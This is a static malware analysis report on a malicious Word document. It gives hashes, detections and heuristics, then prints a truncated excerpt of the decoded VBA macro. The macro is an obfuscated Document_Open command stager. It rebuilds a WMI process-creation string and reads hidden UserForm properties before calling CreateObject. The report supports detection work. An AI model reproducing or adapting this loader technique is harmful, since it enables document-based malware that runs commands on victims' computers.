Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a7e09fdce8bb3727…

MALICIOUS

Office (OLE)

181.9 KB Created: 2020-08-18 16:27:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: fc9ac4c876d5df1aec732ff52cfd8fd5 SHA-1: 72ad6a7bd0f6293f5adab3d4b6d4088651dfe3b3 SHA-256: a7e09fdce8bb372722c2e23e9a17db2d7ebbd56845a8a4d640485b9597b271f5
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is automatically executed via the Document_Open subroutine. This macro utilizes CreateObject and appears to be a command stager, likely intended to download and execute a secondary payload. The ClamAV detection 'Doc.Malware.Sagent-9375697-0' further supports its malicious nature. No specific family could be identified due to obfuscation and lack of clear indicators.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-9375697-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9375697-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11013 bytes
SHA-256: 2304cbae70b48756cc397c0d4ec15061bfb214cf1b356dc2f0f0fe32a6285987
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Pa_lw82d6im699edf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Se25b9jyhzyfbn1.S4182mfv7mjo3
End Sub


Attribute VB_Name = "Se25b9jyhzyfbn1"
Attribute VB_Base = "0{B7F0DA11-3823-4DA4-B320-37E0B4727005}{2C41A817-AEFE-45B5-906F-C0F3C2E5C8A6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function S4182mfv7mjo3()
   For Lsuwje1kyqyoht = 5 To 62
DoEvents
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Next Lsuwje1kyqyoht
Qy78du5wrmi9s = 524
Nt3wgc1jdg1a7kbxci = 132
Qy78du5wrmi9s = Qy78du5wrmi9s + Nt3wgc1jdg1a7kbxci
Vl1p4atr61xeq = Qy78du5wrmi9s
Yel89s4g4zc = Se25b9jyhzyfbn1.HelpContextId + 50 + 50
   For Lsuwje1kyqyoht = 5 To 62
DoEvents
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Next Lsuwje1kyqyoht
Qy78du5wrmi9s = 223
Nt3wgc1jdg1a7kbxci = 926
Qy78du5wrmi9s = Qy78du5wrmi9s + Nt3wgc1jdg1a7kbxci
Vjwq1vm6cg2sb = Qy78du5wrmi9s
Av6yyzbc41rzex167 = ChrW(Yel89s4g4zc + (15))
   For Lsuwje1kyqyoht = 5 To 62
DoEvents
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Next Lsuwje1kyqyoht
Qy78du5wrmi9s = 75
Nt3wgc1jdg1a7kbxci = 628
Qy78du5wrmi9s = Qy78du5wrmi9s + Nt3wgc1jdg1a7kbxci
Ceptqw4jxymyf0o4t = Qy78du5wrmi9s
L62g0slrpxeqamio = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + Av6yyzbc41rzex167 + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + Se25b9jyhzyfbn1.Bg_ky7487858u + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg"
   For Lsuwje1kyqyoht = 5 To 62
DoEvents
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Next Lsuwje1kyqyoht
Qy78du5wrmi9s = 742
Nt3wgc1jdg1a7kbxci = 453
Qy78du5wrmi9s = Qy78du5wrmi9s + Nt3wgc1jdg1a7kbxci
Vyge9vkrd5kgtqs3 = Qy78du5wrmi9s
Qhkzo4ctpnl35 = Ysvxgwok5_q(L62g0slrpxeqamio)
   For Lsuwje1kyqyoht = 5 To 62
DoEvents
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Next Lsuwje1kyqyoht
Qy78du5wrmi9s = 844
Nt3wgc1jdg1a7kbxci = 836
Qy78du5wrmi9s = Qy78du5wrmi9s + Nt3wgc1jdg1a7kbxci
Ofkxmk3aufyvapfkv = Qy78du5wrmi9s
Set A7izx6nxahgivmp8y = CreateObject(Qhkzo4ctpnl35)
   For Lsuwje1kyqyoht = 5 To 62
DoEvents
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Next Lsuwje1kyqyoht
Qy78du5wrmi9s = 540
Nt3wgc1jdg1a7kbxci = 965
Qy78du5wrmi9s = Qy78du5wrmi9s + Nt3wgc1jdg1a7kbxci
Uoa02gdwe8g = Qy78du5wrmi9s
Ud44yuwmt6aawti4 = Se25b9jyhzyfbn1.A6e045c4qyyy8g.ControlTipText
   For Lsuwje1kyqyoht = 5 To 62
DoEvents
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Debug.Print (CStr(Ktk97qq2a2h) & CStr(Oyjfnqd03fqyqlkda))
Debug.Print (C
... (truncated)